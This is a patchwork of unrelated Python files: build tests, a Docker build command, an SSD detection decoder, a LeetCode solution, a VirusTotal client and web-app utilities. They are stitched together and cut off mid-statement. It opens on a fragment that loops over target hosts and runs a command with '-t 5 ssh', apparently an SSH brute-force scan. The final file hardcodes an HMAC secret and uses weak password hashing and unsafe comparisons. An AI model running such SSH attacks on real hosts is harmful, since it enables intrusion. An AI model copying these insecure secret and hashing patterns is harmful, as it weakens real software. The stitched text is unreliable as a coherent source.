line = line[:-11] print("TARGETING: ", line) scanline = scanline + line + ' -t 5 ' + 'ssh' print("SCANLINE: ", scanline) command = shlex.split(scanline) try: output = subprocess.check_output(command) except: continue thomasrockhu/bfg900010-100 import os.path from . import * pjoin = os.path.join is_msvc = env.builder('c++').flavor == 'msvc' class TestLibrary(IntegrationTest): def __init__(self, *args, **kwargs): super().__init__(pjoin(examples_dir, '02_library'), configure=False, *args, **kwargs) def test_default(self): self.configure() self.build() self.assertOutput([executable('program')], 'hello, library!\n') self.assertExists(shared_library('library')) if not is_msvc: self.assertNotExists(static_library('library')) def test_static(self): self.configure(extra_args=['--disable-shared', '--enable-static']) self.build() self.assertOutput([executable('program')], 'hello, library!\n') self.assertExists(static_library('library')) self.assertNotExists(shared_library('library')) # Dual-use libraries collide on MSVC. @skip_if(is_msvc, hide=True) def test_dual(self): self.configure(extra_args=['--enable-shared', '--enable-static']) self.build() self.assertOutput([executable('program')], 'hello, library!\n') self.assertExists(shared_library('library')) if env.target_platform.family == 'windows': self.assertExists(import_library('library')) self.assertExists(static_library('library')) class TestSharedLibrary(IntegrationTest): def __init__(self, *args, **kwargs): super().__init__('shared_library', install=True, *args, **kwargs) def test_build(self): self.build() env_vars = None if env.target_platform.family == 'windows': env_vars = {'PATH': os.pathsep.join([ os.path.abspath(self.target_path(output_file(i))) for i in ('outer', 'middle', 'inner') ]) + os.pathsep + os.environ['PATH']} self.assertOutput([executable('program')], 'hello, library!\n', extra_env=env_vars) @skip_if_backend('msbuild') def test_install(self): self.build('install') self.assertDirectory(self.installdir, [ pjoin(self.bindir, executable('program').path), pjoin(self.libdir, shared_library('inner/inner').path), pjoin(self.libdir, shared_library('middle/middle').path), pjoin(self.libdir, shared_library('outer/outer').path), ]) os.chdir(self.srcdir) cleandir(self.builddir) env_vars = None if env.target_platform.family == 'windows': env_vars = {'PATH': os.pathsep.join([ os.path.abspath(os.path.join( self.libdir, self.target_path(output_file(i)) )) for i in ('outer', 'middle', 'inner') ]) + os.pathsep + os.environ['PATH']} self.assertOutput([pjoin(self.bindir, executable('program').path)], 'hello, library!\n', extra_env=env_vars) class TestStaticLibrary(IntegrationTest): def __init__(self, *args, **kwargs): super().__init__('static_library', install=True, *args, **kwargs) def test_build(self): self.build() self.assertOutput( [executable('program')], 'hello from inner\nhello from middle\nhello from outer\n' ) if env.host_platform.genus == 'linux': output = self.assertPopen(['readelf', '-s', executable('program')]) self.assertNotRegex(output, r"Symbol table '\.symtab'") @skip_if_backend('msbuild') def test_install(self): self.build('install') self.assertDirectory(self.installdir, [ pjoin(self.libdir, static_library('inner').path), pjoin(self.libdir, static_library('middle').path), pjoin(self.libdir, static_library('outer').path), ]) class TestDualUseLibrary(IntegrationTest): lib_names = ['inner', 'middle', 'outer'] def __init__(self, *args, **kwargs): super().__init__('dual_use_library', configure=False, install=True, *args, **kwargs) def test_default(self): self.configure() self.build() self.assertOutput([executable('program')], 'hello, library!\n') for i in self.lib_names: self.assertExists(shared_library(i)) if env.target_platform.family == 'windows': self.assertExists(import_library(i)) if not is_msvc: self.assertNotExists(static_library(i)) def test_static(self): self.configure(extra_args=['--disable-shared', '--enable-static']) self.build() self.assertOutput([executable('program')], 'hello, library!\n') for i in self.lib_names: self.assertNotExists(shared_library(i)) self.assertExists(static_library(i)) # Dual-use libraries collide on MSVC. @skip_if(is_msvc, hide=True) def test_dual(self): self.configure(extra_args=['--enable-shared', '--enable-static']) self.build() self.assertOutput([executable('program')], 'hello, library!\n') for i in self.lib_names: self.assertExists(shared_library(i)) if env.target_platform.family == 'windows': self.assertExists(import_library(i)) self.assertNotExists(static_library(i)) # Dual-use libraries collide on MSVC. @skip_if(is_msvc, hide=True) def test_dual_shared(self): self.configure(extra_args=['--enable-shared', '--enable-static']) self.build(shared_library('outer')) for i in self.lib_names: self.assertExists(shared_library(i)) if env.target_platform.family == 'windows': self.assertExists(import_library(i)) self.assertNotExists(static_library(i)) # Dual-use libraries collide on MSVC. @skip_if(is_msvc, hide=True) def test_dual_static(self): self.configure(extra_args=['--enable-shared', '--enable-static']) self.build(static_library('outer')) for i in self.lib_names: self.assertNotExists(shared_library(i)) if env.target_platform.family == 'windows': self.assertNotExists(import_library(i)) self.assertExists(static_library(i)) # Dual-use libraries collide on MSVC. @skip_if(is_msvc, hide=True) @skip_if_backend('msbuild') def test_dual_install(self): self.configure(extra_args=['--enable-shared', '--enable-static'] + self.extra_args) self.build('install') self.assertDirectory(self.installdir, ( [pjoin(self.bindir, executable('program').path)] + [pjoin(self.libdir, shared_library(i).path) for i in self.lib_names] )) # Dual-use libraries collide on MSVC. @skip_if(is_msvc, hide=True) @skip_if_backend('msbuild') def test_dual_install_libs(self): self.configure(extra_args=['--enable-shared', '--enable-static', '--install-libs'] + self.extra_args) self.build('install') import_libs = [] if env.target_platform.family == 'windows': import_libs = [pjoin(self.libdir, import_library('outer').path)] self.assertDirectory(self.installdir, ( [pjoin(self.libdir, shared_library(i).path) for i in self.lib_names] + [pjoin(self.libdir, static_library(i).path) for i in self.lib_names] + import_libs )) class TestLibraryDefs(IntegrationTest): def __init__(self, *args, **kwargs): super().__init__('library_defs', *args, **kwargs) def test_build(self): self.build() self.assertOutput([executable('program')], 'hello, library!\n') # No versioned libraries on Windows. @skip_if(env.target_platform.family == 'windows', hide=True) class TestVersionedLibrary(IntegrationTest): def __init__(self, *args, **kwargs): super().__init__('versioned_library', install=True, *args, **kwargs) def test_build(self): self.build() self.assertOutput([executable('program')], 'hello, library!\n') def test_install(self): self.build('install') real = pjoin(self.libdir, shared_library('library', '1.2.3').path) soname = pjoin(self.libdir, shared_library('library', '1').path) self.assertDirectory(self.installdir, [ pjoin(self.bindir, executable('program').path), real, soname ]) self.assertFalse(os.path.islink(pjoin(self.installdir, real))) self.assertTrue(os.path.islink(pjoin(self.installdir, soname))) os.chdir(self.srcdir) cleandir(self.builddir) self.assertOutput([pjoin(self.bindir, executable('program').path)], 'hello, library!\n') # No versioned libraries on Windows. @skip_if(env.target_platform.family == 'windows', hide=True) class TestInstallVersionedLibrary(IntegrationTest): def __init__(self, *args, **kwargs): super().__init__('install_versioned_library', install=True, *args, **kwargs) def test_install(self): self.build('install') real = pjoin(self.libdir, shared_library('library', '1.2.3').path) soname = pjoin(self.libdir, shared_library('library', '1').path) link = pjoin(self.libdir, shared_library('library').path) self.assertDirectory(self.installdir, [real, soname, link]) self.assertFalse(os.path.islink(pjoin(self.installdir, real))) self.assertTrue(os.path.islink(pjoin(self.installdir, soname))) self.assertTrue(os.path.islink(pjoin(self.installdir, link))) src/delfino/commands/build_docker.py from getpass import getpass from os import getenv from pathlib import Path from typing import List import click from delfino.constants import PackageManager from delfino.contexts import AppContext, pass_app_context from delfino.execution import OnError, run from delfino.models.pyproject_toml import Dockerhub from delfino.terminal_output import print_header from delfino.utils import ArgsList from delfino.validation import assert_package_manager_is_known, assert_pip_package_installed, pyproject_toml_key_missing try: from packaging.version import Version except ImportError: pass def _install_emulators(build_for_platforms: List[str]) -> None: """See https://github.com/tonistiigi/binfmt#installing-emulators.""" emulators = [] if "linux/arm64" in build_for_platforms: emulators.append("arm64") if "linux/arm/v7" in build_for_platforms: emulators.append("arm") if emulators: print_header("Installing emulators", level=2, icon="⬇") run( ["docker", "run", "--privileged", "--rm", "tonistiigi/binfmt", "--install", *emulators], on_error=OnError.EXIT, ) def _docker_build( project_name: str, dockerhub: Dockerhub, flags: ArgsList, platform: str, tag: str = "latest", push: bool = False, ): _flags = list(flags) _flags.extend(["--platform", platform]) if tag != "latest" and push: _flags.extend(["--cache-to", f"type=registry,ref={dockerhub.username}/{project_name}"]) run( [ "docker", "buildx", "build", "--cache-from", f"type=registry,ref={dockerhub.username}/{project_name}", "--tag", f"{dockerhub.username}/{project_name}:{tag}", *_flags, ".", ], on_error=OnError.EXIT, ) @click.command() @click.option( "--push", is_flag=True, help="Push the built image and cache to remote docker image registry. Login is " "required and Personal Access Token will be requested from STDIN if " "`DOCKERHUB_PERSONAL_ACCESS_TOKEN` environment variable is not set.", ) @click.option("--serialized", is_flag=True, help="Do not build multiple platforms concurrently.") @pass_app_context def build_docker(app_context: AppContext, push: bool, serialized: bool): """Build and push a docker image.""" delfino = app_context.pyproject_toml.tool.delfino dockerfile = Path("Dockerfile") assert_package_manager_is_known(app_context.package_manager) assert ( app_context.package_manager == PackageManager.POETRY ), f"Only the '{PackageManager.POETRY.value}' package manager is supported by this command." assert_pip_package_installed("packaging") assert dockerfile.exists() and dockerfile.is_file(), "File 'Dockerfile' not found but required by this command." assert app_context.pyproject_toml.tool.poetry, pyproject_toml_key_missing("tool.poetry") assert delfino.dockerhub, pyproject_toml_key_missing("tool.delfino.dockerhub") print_header("Running Docker build") flags: ArgsList = [] poetry = app_context.pyproject_toml.tool.poetry project_name = poetry.name project_version = poetry.version python_version = Version(poetry.dependencies["python"].strip("<>=~^")) flags.extend(["--build-arg", f"PYTHON_VERSION={python_version.major}.{python_version.minor}"]) dockerhub = delfino.dockerhub joined_build_platforms = ",".join(dockerhub.build_for_platforms) build_platforms: List[str] = dockerhub.build_for_platforms if serialized else [joined_build_platforms] if push: dockerhub_password = getenv("DOCKERHUB_PERSONAL_ACCESS_TOKEN") if not dockerhub_password: click.secho("⚠ The 'DOCKERHUB_PERSONAL_ACCESS_TOKEN' environment variable is not set.", fg="yellow") dockerhub_password = getpass("Dockerhub Personal Access Token: ") run(f"docker login --username {dockerhub.username} --password {dockerhub_password}", on_error=OnError.EXIT) if getenv("CI"): # https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables flags.extend(["--progress", "plain"]) _install_emulators(dockerhub.build_for_platforms) # If serialized build is selected, run build individually. Results are cached so the second # build below will only push and not build again. for platform in build_platforms: print_header(f"Build {dockerhub.username}/{project_name}:latest for {platform}", level=2, icon="🔨") _docker_build(project_name, dockerhub, flags, platform) if not push: return flags.extend(["--output", "type=image,push=true"]) # While `docker buildx build` supports multiple `--tag` flags, push of them fails to expose # all architectures in `latest`. Multiple pushes fix this. for tag in [project_version, "latest"]: print_header(f"Push {dockerhub.username}/{project_name}:{tag}", level=2, icon="🔨") _docker_build(project_name, dockerhub, flags, joined_build_platforms, tag, push) run("docker logout", on_error=OnError.EXIT) rlourette/TI_SDK_u-boot-2019.01 # SPDX-License-Identifier: GPL-2.0+ # Copyright (c) 2016 Google, Inc # Written by <> # # Entry-type module for Intel Chip Microcode binary blob # from entry import Entry from blob import Entry_blob class Entry_intel_cmc(Entry_blob): """Entry containing an Intel Chipset Micro Code (CMC) file Properties / Entry arguments: - filename: Filename of file to read into entry This file contains microcode for some devices in a special format. An example filename is 'Microcode/C0_22211.BIN'. See README.x86 for information about x86 binary blobs. """ def __init__(self, section, etype, node): Entry_blob.__init__(self, section, etype, node) 0 ''' Includes: * Functions to decode and filter raw SSD model output. These are only needed if the SSD model does not have a `DecodeDetections` layer. * Functions to perform greedy non-maximum suppression Copyright (C) 2018 Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ''' from __future__ import division import numpy as np from utils import iou, convert_coordinates def greedy_nms(y_pred_decoded, iou_threshold=0.45, coords='corners', border_pixels='half'): ''' Perform greedy non-maximum suppression on the input boxes. Greedy NMS works by selecting the box with the highest score and removing all boxes around it that are too close to it measured by IoU-similarity. Out of the boxes that are left over, once again the one with the highest score is selected and so on, until no boxes with too much overlap are left. Arguments: y_pred_decoded (list): A batch of decoded predictions. For a given batch size `n` this is a list of length `n` where each list element is a 2D Numpy array. For a batch item with `k` predicted boxes this 2D Numpy array has shape `(k, 6)`, where each row contains the coordinates of the respective box in the format `[class_id, score, xmin, xmax, ymin, ymax]`. Technically, the number of columns doesn't have to be 6, it can be arbitrary as long as the first four elements of each row are `xmin`, `xmax`, `ymin`, `ymax` (in this order) and the last element is the score assigned to the prediction. Note that this function is agnostic to the scale of the score or what it represents. iou_threshold (float, optional): All boxes with a Jaccard similarity of greater than `iou_threshold` with a locally maximal box will be removed from the set of predictions, where 'maximal' refers to the box score. coords (str, optional): The coordinate format of `y_pred_decoded`. Can be one of the formats supported by `iou()`. border_pixels (str, optional): How to treat the border pixels of the bounding boxes. Can be 'include', 'exclude', or 'half'. If 'include', the border pixels belong to the boxes. If 'exclude', the border pixels do not belong to the boxes. If 'half', then one of each of the two horizontal and vertical borders belong to the boxex, but not the other. Returns: The predictions after removing non-maxima. The format is the same as the input format. ''' y_pred_decoded_nms = [] for batch_item in y_pred_decoded: # For the labels of each batch item... boxes_left = np.copy(batch_item) maxima = [] # This is where we store the boxes that make it through the non-maximum suppression while boxes_left.shape[0] > 0: # While there are still boxes left to compare... maximum_index = np.argmax(boxes_left[:,1]) # ...get the index of the next box with the highest confidence... maximum_box = np.copy(boxes_left[maximum_index]) # ...copy that box and... maxima.append(maximum_box) # ...append it to `maxima` because we'll definitely keep it boxes_left = np.delete(boxes_left, maximum_index, axis=0) # Now remove the maximum box from `boxes_left` if boxes_left.shape[0] == 0: break # If there are no boxes left after this step, break. Otherwise... similarities = iou(boxes_left[:,2:], maximum_box[2:], coords=coords, mode='element-wise', border_pixels=border_pixels) # ...compare (IoU) the other left over boxes to the maximum box... boxes_left = boxes_left[similarities <= iou_threshold] # ...so that we can remove the ones that overlap too much with the maximum box y_pred_decoded_nms.append(np.array(maxima)) return y_pred_decoded_nms def _greedy_nms(predictions, iou_threshold=0.45, coords='corners', border_pixels='half'): ''' The same greedy non-maximum suppression algorithm as above, but slightly modified for use as an internal function for per-class NMS in `decode_detections()`. ''' boxes_left = np.copy(predictions) maxima = [] # This is where we store the boxes that make it through the non-maximum suppression while boxes_left.shape[0] > 0: # While there are still boxes left to compare... maximum_index = np.argmax(boxes_left[:,0]) # ...get the index of the next box with the highest confidence... maximum_box = np.copy(boxes_left[maximum_index]) # ...copy that box and... maxima.append(maximum_box) # ...append it to `maxima` because we'll definitely keep it boxes_left = np.delete(boxes_left, maximum_index, axis=0) # Now remove the maximum box from `boxes_left` if boxes_left.shape[0] == 0: break # If there are no boxes left after this step, break. Otherwise... similarities = iou(boxes_left[:,1:], maximum_box[1:], coords=coords, mode='element-wise', border_pixels=border_pixels) # ...compare (IoU) the other left over boxes to the maximum box... boxes_left = boxes_left[similarities <= iou_threshold] # ...so that we can remove the ones that overlap too much with the maximum box return np.array(maxima) def _greedy_nms2(predictions, iou_threshold=0.45, coords='corners', border_pixels='half'): ''' The same greedy non-maximum suppression algorithm as above, but slightly modified for use as an internal function in `decode_detections_fast()`. ''' boxes_left = np.copy(predictions) maxima = [] # This is where we store the boxes that make it through the non-maximum suppression while boxes_left.shape[0] > 0: # While there are still boxes left to compare... maximum_index = np.argmax(boxes_left[:,1]) # ...get the index of the next box with the highest confidence... maximum_box = np.copy(boxes_left[maximum_index]) # ...copy that box and... maxima.append(maximum_box) # ...append it to `maxima` because we'll definitely keep it boxes_left = np.delete(boxes_left, maximum_index, axis=0) # Now remove the maximum box from `boxes_left` if boxes_left.shape[0] == 0: break # If there are no boxes left after this step, break. Otherwise... similarities = iou(boxes_left[:,2:], maximum_box[2:], coords=coords, mode='element-wise', border_pixels=border_pixels) # ...compare (IoU) the other left over boxes to the maximum box... boxes_left = boxes_left[similarities <= iou_threshold] # ...so that we can remove the ones that overlap too much with the maximum box return np.array(maxima) def decode_detections(y_pred, confidence_thresh=0.01, iou_threshold=0.45, top_k=200, input_coords='centroids', normalize_coords=True, img_height=None, img_width=None, border_pixels='half'): ''' Convert model prediction output back to a format that contains only the positive box predictions (i.e. the same format that `SSDInputEncoder` takes as input). After the decoding, two stages of prediction filtering are performed for each class individually: First confidence thresholding, then greedy non-maximum suppression. The filtering results for all classes are concatenated and the `top_k` overall highest confidence results constitute the final predictions for a given batch item. This procedure follows the original Caffe implementation. For a slightly different and more efficient alternative to decode raw model output that performs non-maximum suppresion globally instead of per class, see `decode_detections_fast()` below. Arguments: y_pred (array): The prediction output of the SSD model, expected to be a Numpy array of shape `(batch_size, #boxes, #classes + 4 + 4 + 4)`, where `#boxes` is the total number of boxes predicted by the model per image and the last axis contains `[one-hot vector for the classes, 4 predicted coordinate offsets, 4 anchor box coordinates, 4 variances]`. confidence_thresh (float, optional): A float in [0,1), the minimum classification confidence in a specific positive class in order to be considered for the non-maximum suppression stage for the respective class. A lower value will result in a larger part of the selection process being done by the non-maximum suppression stage, while a larger value will result in a larger part of the selection process happening in the confidence thresholding stage. iou_threshold (float, optional): A float in [0,1]. All boxes with a Jaccard similarity of greater than `iou_threshold` with a locally maximal box will be removed from the set of predictions for a given class, where 'maximal' refers to the box score. top_k (int, optional): The number of highest scoring predictions to be kept for each batch item after the non-maximum suppression stage. input_coords (str, optional): The box coordinate format that the model outputs. Can be either 'centroids' for the format `(cx, cy, w, h)` (box center coordinates, width, and height), 'minmax' for the format `(xmin, xmax, ymin, ymax)`, or 'corners' for the format `(xmin, ymin, xmax, ymax)`. normalize_coords (bool, optional): Set to `True` if the model outputs relative coordinates (i.e. coordinates in [0,1]) and you wish to transform these relative coordinates back to absolute coordinates. If the model outputs relative coordinates, but you do not want to convert them back to absolute coordinates, set this to `False`. Do not set this to `True` if the model already outputs absolute coordinates, as that would result in incorrect coordinates. Requires `img_height` and `img_width` if set to `True`. img_height (int, optional): The height of the input images. Only needed if `normalize_coords` is `True`. img_width (int, optional): The width of the input images. Only needed if `normalize_coords` is `True`. border_pixels (str, optional): How to treat the border pixels of the bounding boxes. Can be 'include', 'exclude', or 'half'. If 'include', the border pixels belong to the boxes. If 'exclude', the border pixels do not belong to the boxes. If 'half', then one of each of the two horizontal and vertical borders belong to the boxex, but not the other. Returns: A python list of length `batch_size` where each list element represents the predicted boxes for one image and contains a Numpy array of shape `(boxes, 6)` where each row is a box prediction for a non-background class for the respective image in the format `[class_id, confidence, xmin, ymin, xmax, ymax]`. ''' if normalize_coords and ((img_height is None) or (img_width is None)): raise ValueError("If relative box coordinates are supposed to be converted to absolute coordinates, the decoder needs the image size in order to decode the predictions, but `img_height == {}` and `img_width == {}`".format(img_height, img_width)) # 1: Convert the box coordinates from the predicted anchor box offsets to predicted absolute coordinates y_pred_decoded_raw = np.copy(y_pred[:,:,:-8]) # Slice out the classes and the four offsets, throw away the anchor coordinates and variances, resulting in a tensor of shape `[batch, n_boxes, n_classes + 4 coordinates]` if input_coords == 'centroids': y_pred_decoded_raw[:,:,[-2,-1]] = np.exp(y_pred_decoded_raw[:,:,[-2,-1]] * y_pred[:,:,[-2,-1]]) # exp(ln(w(pred)/w(anchor)) / w_variance * w_variance) == w(pred) / w(anchor), exp(ln(h(pred)/h(anchor)) / h_variance * h_variance) == h(pred) / h(anchor) y_pred_decoded_raw[:,:,[-2,-1]] *= y_pred[:,:,[-6,-5]] # (w(pred) / w(anchor)) * w(anchor) == w(pred), (h(pred) / h(anchor)) * h(anchor) == h(pred) y_pred_decoded_raw[:,:,[-4,-3]] *= y_pred[:,:,[-4,-3]] * y_pred[:,:,[-6,-5]] # (delta_cx(pred) / w(anchor) / cx_variance) * cx_variance * w(anchor) == delta_cx(pred), (delta_cy(pred) / h(anchor) / cy_variance) * cy_variance * h(anchor) == delta_cy(pred) y_pred_decoded_raw[:,:,[-4,-3]] += y_pred[:,:,[-8,-7]] # delta_cx(pred) + cx(anchor) == cx(pred), delta_cy(pred) + cy(anchor) == cy(pred) y_pred_decoded_raw = convert_coordinates(y_pred_decoded_raw, start_index=-4, conversion=1) # 2: If the model predicts normalized box coordinates and they are supposed to be converted back to absolute coordinates, do that if normalize_coords: y_pred_decoded_raw[:,:,[-4,-2]] *= img_width # Convert xmin, xmax back to absolute coordinates y_pred_decoded_raw[:,:,[-3,-1]] *= img_height # Convert ymin, ymax back to absolute coordinates # 3: Apply confidence thresholding and non-maximum suppression per class n_classes = y_pred_decoded_raw.shape[-1] - 4 # The number of classes is the length of the last axis minus the four box coordinates y_pred_decoded = [] # Store the final predictions in this list for batch_item in y_pred_decoded_raw: # `batch_item` has shape `[n_boxes, n_classes + 4 coords]` pred = [] # Store the final predictions for this batch item here for class_id in range(1, n_classes): # For each class except the background class (which has class ID 0)... single_class = batch_item[:,[class_id, -4, -3, -2, -1]] # ...keep only the confidences for that class, making this an array of shape `[n_boxes, 5]` and... threshold_met = single_class[single_class[:,0] > confidence_thresh] # ...keep only those boxes with a confidence above the set threshold. if threshold_met.shape[0] > 0: # If any boxes made the threshold... maxima = _greedy_nms(threshold_met, iou_threshold=iou_threshold, coords='corners', border_pixels=border_pixels) # ...perform NMS on them. maxima_output = np.zeros((maxima.shape[0], maxima.shape[1] + 1)) # Expand the last dimension by one element to have room for the class ID. This is now an arrray of shape `[n_boxes, 6]` maxima_output[:,0] = class_id # Write the class ID to the first column... maxima_output[:,1:] = maxima # ...and write the maxima to the other columns... pred.append(maxima_output) # ...and append the maxima for this class to the list of maxima for this batch item. # Once we're through with all classes, keep only the `top_k` maxima with the highest scores if pred: # If there are any predictions left after confidence-thresholding... pred = np.concatenate(pred, axis=0) # print(pred.shape[0], top_k) if top_k != 'all' and pred.shape[0] > top_k: # If we have more than `top_k` results left at this point, otherwise there is nothing to filter,... top_k_indices = np.argpartition(pred[:,1], kth=pred.shape[0]-top_k, axis=0)[pred.shape[0]-top_k:] # ...get the indices of the `top_k` highest-score maxima... pred = pred[top_k_indices] # ...and keep only those entries of `pred`... else: pred = np.array(pred) # Even if empty, `pred` must become a Numpy array. y_pred_decoded.append(pred) # ...and now that we're done, append the array of final predictions for this batch item to the output list return y_pred_decoded def get_num_boxes_per_pred_layer(predictor_sizes, aspect_ratios, two_boxes_for_ar1): ''' Returns a list of the number of boxes that each predictor layer predicts. `aspect_ratios` must be a nested list, containing a list of aspect ratios for each predictor layer. ''' num_boxes_per_pred_layer = [] for i in range(len(predictor_sizes)): if two_boxes_for_ar1: num_boxes_per_pred_layer.append(predictor_sizes[i][0] * predictor_sizes[i][1] * (len(aspect_ratios[i]) + 1)) else: num_boxes_per_pred_layer.append(predictor_sizes[i][0] * predictor_sizes[i][1] * len(aspect_ratios[i])) return num_boxes_per_pred_layer def get_pred_layers(y_pred_decoded, num_boxes_per_pred_layer): ''' For a given prediction tensor decoded with `decode_detections_debug()`, returns a list with the indices of the predictor layers that made each predictions. That is, this function lets you know which predictor layer is responsible for a given prediction. Arguments: y_pred_decoded (array): The decoded model output tensor. Must have been decoded with `decode_detections_debug()` so that it contains the internal box index for each predicted box. num_boxes_per_pred_layer (list): A list that contains the total number of boxes that each predictor layer predicts. ''' pred_layers_all = [] cum_boxes_per_pred_layer = np.cumsum(num_boxes_per_pred_layer) for batch_item in y_pred_decoded: pred_layers = [] for prediction in batch_item: if (prediction[0] < 0) or (prediction[0] >= cum_boxes_per_pred_layer[-1]): raise ValueError("Box index is out of bounds of the possible indices as given by the values in `num_boxes_per_pred_layer`.") for i in range(len(cum_boxes_per_pred_layer)): if prediction[0] < cum_boxes_per_pred_layer[i]: pred_layers.append(i) break pred_layers_all.append(pred_layers) return pred_layers_all sword-for-offer/ch7_queue/Q46.py from collections import deque from typing import List # Definition for a binary tree node. class TreeNode: def __init__(self, val=0, left=None, right=None): self.val = val self.left = left self.right = right class Solution: def rightSideView(self, root: TreeNode) -> List[int]: """等价于返回每一次最后一个节点 使用两个队列实现""" if root is None: return [] # 保存当前层节点 queue1 = deque() # 保存下一层节点 queue2 = deque() queue1.append(root) result = [] while queue1: # 弹出队列顶部节点 node = queue1.popleft() # 如果当前层为空 if not queue1: result.append(node.val) if node.left is not None: queue2.append(node.left) if node.right is not None: queue2.append(node.right) # 当前层已经遍历完，且下一层节点数不为空 if not queue1 and queue2: queue1 = queue2.copy() queue2.clear() return result def rightSideView_update1(self, root: TreeNode) -> List[int]: """等价于返回每一次最后一个节点 使用一个队列实现""" if root is None: return [] # 保存当前层节点 queue1 = deque() queue1.append(root) # 记录当前遍历这一层中位于队列之中的节点数目 current = 1 # 记录下一层中位于队列之中的节点数目 next_ = 0 result = [] while queue1: # 弹出队列顶部节点 node = queue1.popleft() current -= 1 if node.left is not None: queue1.append(node.left) next_ += 1 if node.right is not None: queue1.append(node.right) next_ += 1 # 遍历这一层中位于队列之中的节点数目为0，node即为当前层的最后一个结点 if current == 0: result.append(node.val) current = next_ next_ = 0 return result root = TreeNode(2) node2 = TreeNode(1) node3 = TreeNode(3) root.left = node2 root.right = node3 s = Solution() print(s.rightSideView_update1(root)) modules/network/apiRequests.py import requests import os from modules.local.settings import loadApi from modules.network.proxy import checkProxy # Request to perform a scan. def getUrlScan(urlToScan): url = "https://virustotal.com/vtapi/v2/url/scan" apiKey = loadApi() params = {"apikey": apiKey, "url": urlToScan} response = requests.post(url, data=params) print(response.json()) return response # Request for a single report for URL or ID. def getReport(resource): url = "https://virustotal.com/vtapi/v2/url/report" apiKey = loadApi() params = {"apikey": apiKey, "resource": resource} response = requests.post(url, data=params) return response # Request for a single report. def getFileReport(fileHash): url = "https://virustotal.com/vtapi/v2/file/report" apiKey = loadApi() params = {"apikey": apiKey, "resource": fileHash} response = requests.post(url, data=params) return response # Sending a file with POST request. def getFileScan(filePath): url = "https://www.virustotal.com/vtapi/v2/file/scan" apiKey = loadApi() params = {"apikey": apiKey} files = {"file": (filePath, open(filePath, "rb"))} response = requests.post(url, files=files, params=params) return response1-10 """This module exists since the `torch.testing` exposed a lot of stuff that shouldn't have been public. Although this was never documented anywhere, some other internal FB projects as well as downstream OSS projects might use this. Thus, we don't internalize without warning, but still go through a deprecation cycle. """ import functools import warnings from typing import Any, Callable, Dict, Optional, Tuple, Union import torch from . import _dtype_getters __all__ = [ "rand", "randn", "assert_allclose", ] def warn_deprecated(instructions: Union[str, Callable[[str, Tuple[Any, ...], Dict[str, Any], Any], str]]) -> Callable: def outer_wrapper(fn: Callable) -> Callable: name = fn.__name__ head = f"torch.testing.{name}() is deprecated and will be removed in a future release. " @functools.wraps(fn) def inner_wrapper(*args: Any, **kwargs: Any) -> Any: return_value = fn(*args, **kwargs) tail = instructions(name, args, kwargs, return_value) if callable(instructions) else instructions msg = (head + tail).strip() warnings.warn(msg, FutureWarning) return return_value return inner_wrapper return outer_wrapper rand = warn_deprecated("Use torch.rand instead.")(torch.rand) randn = warn_deprecated("Use torch.randn instead.")(torch.randn) _DTYPE_PRECISIONS = { torch.float16: (1e-3, 1e-3), torch.float32: (1e-4, 1e-5), torch.float64: (1e-5, 1e-8), } def _get_default_rtol_and_atol(actual: torch.Tensor, expected: torch.Tensor) -> Tuple[float, float]: actual_rtol, actual_atol = _DTYPE_PRECISIONS.get(actual.dtype, (0.0, 0.0)) expected_rtol, expected_atol = _DTYPE_PRECISIONS.get(expected.dtype, (0.0, 0.0)) return max(actual_rtol, expected_rtol), max(actual_atol, expected_atol) # TODO: include the deprecation as soon as torch.testing.assert_close is stable # @warn_deprecated( # "Use torch.testing.assert_close instead. " # "For detailed upgrade instructions see https://github.com/pytorch/pytorch/issues/61844." # ) def assert_allclose( actual: Any, expected: Any, rtol: Optional[float] = None, atol: Optional[float] = None, equal_nan: bool = True, msg: str = "", ) -> None: if not isinstance(actual, torch.Tensor): actual = torch.tensor(actual) if not isinstance(expected, torch.Tensor): expected = torch.tensor(expected, dtype=actual.dtype) if rtol is None and atol is None: rtol, atol = _get_default_rtol_and_atol(actual, expected) torch.testing.assert_close( actual, expected, rtol=rtol, atol=atol, equal_nan=equal_nan, check_device=True, check_dtype=False, check_stride=False, check_is_coalesced=False, msg=msg or None, ) def _dtype_getter_instructions(name: str, args: Tuple[Any, ...], kwargs: Dict[str, Any], return_value: Any) -> str: return f"This call to {name}(...) can be replaced with {return_value}." # We iterate over all public dtype getters and expose them here with an added deprecation warning for name in _dtype_getters.__all__: if name.startswith("_"): continue fn = getattr(_dtype_getters, name) globals()[name] = warn_deprecated(_dtype_getter_instructions)(fn) __all__.append(name) app/utils.py import os import re import hmac import jinja2 import hashlib import random from string import letters from google.appengine.ext import db template_dir = os.path.join(os.path.dirname(__file__), '../templates') jinja_env = jinja2.Environment(loader = jinja2.FileSystemLoader(template_dir), autoescape = True) SECRET = "imsosecret" ### Some utilities functions def make_salt(length = 5): return ''.join(random.choice(letters) for x in xrange(length)) def make_pw_hash(name, pw, salt = None): if not salt: salt = make_salt() h = hashlib.sha256(name + pw + salt).hexdigest() return '%s,%s' % (salt, h) def valid_pw(name, password, h): salt = h.split(',')[0] return h == make_pw_hash(name, password, salt) def users_key(group = 'default'): return db.Key.from_path('users', group) USER_RE = re.compile(r"^[a-zA-Z0-9_-]{3,20}$") def valid_username(username): return username and USER_RE.match(username) PASS_RE = re.compile(r"^.{3,20}$") def valid_password(password): return password and PASS_RE.match(password) EMAIL_RE = re.compile(r'^[\S]+@[\S]+\.[\S]+$') def valid_email(email): return not email or EMAIL_RE.match(email) def hash_str(s): return hmac.new(SECRET, s).hexdigest() def make_secure_val(s): return "%s|%s" % (s, hmac.new(SECRET, s).hexdigest()) def check_secure_val(h): val = h.split('|')[0] if h == make_secure_val(val): return val def render_str(template, **params): t = jinja_env.get_template(template) return t.render(params) def blog_key(name = 'default'): return db.Key.from_path('blogs', name) def render_post(response, post): response.out.write('' + post.subject + '
